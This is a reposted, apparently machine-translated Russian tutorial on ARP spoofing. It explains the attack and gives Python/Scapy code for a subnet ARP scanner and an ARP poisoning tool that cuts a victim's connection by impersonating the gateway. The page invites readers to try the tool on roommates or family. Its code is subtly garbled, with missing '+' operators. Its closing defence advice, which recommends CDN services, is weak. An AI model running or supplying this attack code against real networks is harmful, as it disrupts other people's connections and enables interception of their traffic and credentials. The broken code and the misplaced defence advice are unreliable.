«Если рабочий хочет хорошо выполнять свою работу, он должен сначала заточить свои инструменты» — Конфуций, «Аналитики Конфуция. Лу Лингун»
титульная страница > программирование > Самая простая сетевая атака для начинающих: подмена ARP

Самая простая сетевая атака для начинающих: подмена ARP

Опубликовано 22 ноября 2024 г.
Просматривать:463

Что такое ARP (протокол разрешения адресов)?

Протокол разрешения адресов (ARP) — это важнейший протокол, используемый в локальных сетях для преобразования IP-адресов в физические адреса (MAC-адреса).

Что такое ARP-атака?

Атака ARP — это эксплуатация уязвимостей протокола ARP. Отправляя поддельные сообщения ARP, злоумышленники могут связать свой MAC-адрес с IP-адресом жертвы, перехватывая, изменяя или нарушая сетевые коммуникации.

Почему ARP-атаку проще всего реализовать?

ARP-атаки особенно легко реализовать, поскольку в протоколе ARP отсутствуют встроенные функции безопасности, что делает его основной мишенью для сетевых злоумышленников. Таким образом, подмена ARP или отравление ARP стала распространенным и опасным методом сетевых атак.

С помощью Python вы можете написать код менее чем за 100 строк, и эффект весьма значителен — ваш сосед по комнате или члены семьи могут быстро потерять подключение к Wi-Fi. Конечно, вам не следует пытаться случайно нападать на других, за исключением, возможно, хороших друзей.

Что могут сделать ARP-атаки?

The Easiest Network Attack for Beginners: ARP Spoofing

  1. Атака типа «отказ в обслуживании»: вы можете нарушить соединение Wi-Fi вашего соседа по комнате или членов семьи с помощью ARP-атаки. Заставив целевой компьютер думать, что злоумышленник является шлюзом, злоумышленник может прервать связь между целевым компьютером и шлюзом, предотвращая доступ целевого компьютера к сетевым ресурсам.

  2. Прослушивание сети: злоумышленники могут использовать ARP-атаки для перехвата всех коммуникационных пакетов в сети, что позволяет им анализировать и извлекать конфиденциальную информацию.

  3. Подделка данных: с помощью атаки «человек посередине» злоумышленники могут изменить содержимое пакетов данных, тем самым изменяя передаваемые данные.

Примеры из реальной жизни

  • Корпоративные сети: злоумышленники могут выполнить подмену ARP во внутренней сети компании, чтобы украсть учетные данные сотрудников, содержимое электронной почты и другую конфиденциальную информацию.
  • Общественный Wi-Fi: в таких местах, как кафе и аэропорты, злоумышленники могут использовать подмену ARP, чтобы атаковать пользователей, подключенных к той же сети Wi-Fi, похищая их личные данные.
  • Домашние сети: злоумышленники могут выполнять подмену ARP на устройствах домашней сети, чтобы украсть историю просмотров пользователей, информацию для входа и многое другое.

Как работают ARP-атаки

  1. Подмена ARP: злоумышленники отправляют поддельные ответные сообщения ARP на другие устройства в локальной сети, привязывая их MAC-адрес к IP-адресу законного устройства. Например, злоумышленники могут привязать свой MAC-адрес к IP-адресу шлюза, обманным путем заставляя все устройства в локальной сети отправлять данные злоумышленнику.

  2. Атака «человек посередине»: как только подмена ARP окажется успешной, злоумышленники могут расположиться между жертвой и шлюзом, перехватывая и пересылая все коммуникационные данные. Это позволяет злоумышленникам украсть конфиденциальную информацию, такую ​​как учетные данные для входа и информацию о банковском счете.

  3. Подделка данных: злоумышленники могут не только перехватывать данные, но и изменять их перед отправкой жертве или шлюзу, что позволяет проводить дальнейшие атаки.

Реализация ARP-атаки с помощью Python

Сначала мы реализуем базовую функцию сканирования ARP. Реализация зондирования ARP проста. Мы можем определить две функции: одну с именемgenerate_ip_range, которая принимает строку IP-адреса и генерирует все адреса хостов в этой подсети; другой, называемый arp_scan, отправляет пакеты ARP. Мы можем использовать функцию ARP Scapy для создания запросов ARP и отправки их с помощью srp, а затем ожидания ответов.

from scapy.all import *
import argparse
import threading, time
import logging

# Generate the IP range, e.g., input: 192.168.1.1/20 generates addresses 1-20
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]), int(_split[1])   1)
    addr = [ip_split[0]   '.'   ip_split[1]   '.'   ip_split[2]   '.'   str(p) for p in ipv4]
    return addr

# Scan the local network for online devices using the ARP protocol
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address), timeout=5, verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[ ] IP address: %-13s ==> MAC address: %-15s' % (ret.fields['psrc'], ret.fields['hwsrc']))
    except Exception:
        exit(1)

if __name__ == "__main__":
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--scan", dest="scan")
    args = parser.parse_args()
    # Usage: main.py -s 192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan, args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

Далее мы узнаем, как реализовать атаку типа «отказ в обслуживании» ARP. Ядром атаки ARP DOS является функция send_payload. Каждый вызов этой функции отправляет два пакета: первый пакет выдает себя за шлюз, заставляя целевой компьютер думать, что злоумышленник является шлюзом; второй пакет выдает себя за целевой компьютер, заставляя шлюз думать, что атакующий является целевым компьютером. Отправив эти два пакета в несколько потоков, целевой компьютер не сможет подключиться к сети, что приведет к DOS-атаке.

"""
Disclaimer:

This code is intended for educational and experimental purposes only, to help users understand the ARP protocol and related network security concepts. Do not run this code on any actual network without explicit permission.

Unauthorized ARP attack activities are illegal and may result in network disruptions, data breaches, and other severe consequences. Users of this code must be responsible for their actions and comply with relevant laws and regulations.

The developers and publishers are not liable for any direct or indirect damages resulting from the use of this code. Please conduct experiments within the bounds of legal authority and ensure appropriate authorization.

Before running this code, please confirm that you have understood and accepted this disclaimer.
"""

from scapy.all import *
import argparse
import threading, time
import logging

# Create and send payloads
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP):
    print("[ ] Target MAC: {} Target IP: {} Sending: 2 packets".format(tgtMac, tgtIP))
    # Generate ARP packet, pretending to be the gateway to deceive the target computer
    sendp(Ether(src=srcMac, dst=tgtMac) / ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), iface=Interface)
    # Generate ARP packet, pretending to be the target computer to deceive the gateway
    sendp(Ether(src=srcMac, dst=gateWayMac) / ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-i", "--interface", dest="interface", help="Enter the interface name")
    parser.add_argument("-g", "--gateway", dest="gateway", help="Input Gateway Address")
    parser.add_argument("-t", "--target", dest="target", help="Enter the victim host address")
    args = parser.parse_args()

    # Usage: main.py -i "Intel(R) Ethernet Connection (7) I219-LM" -g 192.168.9.1 -t 192.168.9.10
    if args.gateway and args.target:
        srcMac = get_if_hwaddr(args.interface)  # Get the local MAC address through the interface name
        tgtMac = getmacbyip(args.target)  # Get the target computer's MAC address through its IP address
        gatewayMac = getmacbyip(args.gateway)  # Specify the gateway MAC address in the local network
        while True:
            t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target))
            t.start()
            t.join()
            time.sleep(1)
    else:
        parser.print_help()

Как защититься от ежедневных сетевых атак

Как независимый разработчик, вы часто можете столкнуться с проблемой защиты своего сайта от различных сложных атак, особенно от самых простых.

ARP-атаки, например, очень легко выполнить: код атаки составляет менее 100 строк. Однако причиненный ущерб может быть значительным. Если разработчикам необходимо детально защититься от каждого типа атак, это может оказаться непосильной задачей, потенциально превышающей объем работы по разработке.

Поэтому интеграция сторонних платформ стала очень распространенным решением. Такие платформы, как Edgeone и Cloudflare, могут предоставлять эффективные услуги защиты. Хотя эти услуги могут потребовать нескольких долларов, они значительно снижают психическую нагрузку по сравнению с самообороной.

Это статья, которую я написал о распространенных сетевых атаках и их решениях. Если вам интересно, не стесняйтесь проверить это.

Заявление о выпуске Эта статья воспроизводится по адресу: https://dev.to/mpoiiii/the-iesesest-network-attack-for-beginners-arp-spoofing-pn4?1 Если есть какие-либо нарушения, пожалуйста, свяжитесь с учебным положением[email protected], чтобы удалить его.
Последний учебник Более>

Изучайте китайский

Отказ от ответственности: Все предоставленные ресурсы частично взяты из Интернета. В случае нарушения ваших авторских прав или других прав и интересов, пожалуйста, объясните подробные причины и предоставьте доказательства авторских прав или прав и интересов, а затем отправьте их по электронной почте: [email protected]. Мы сделаем это за вас как можно скорее.

Copyright© 2022 湘ICP备2022001581号-3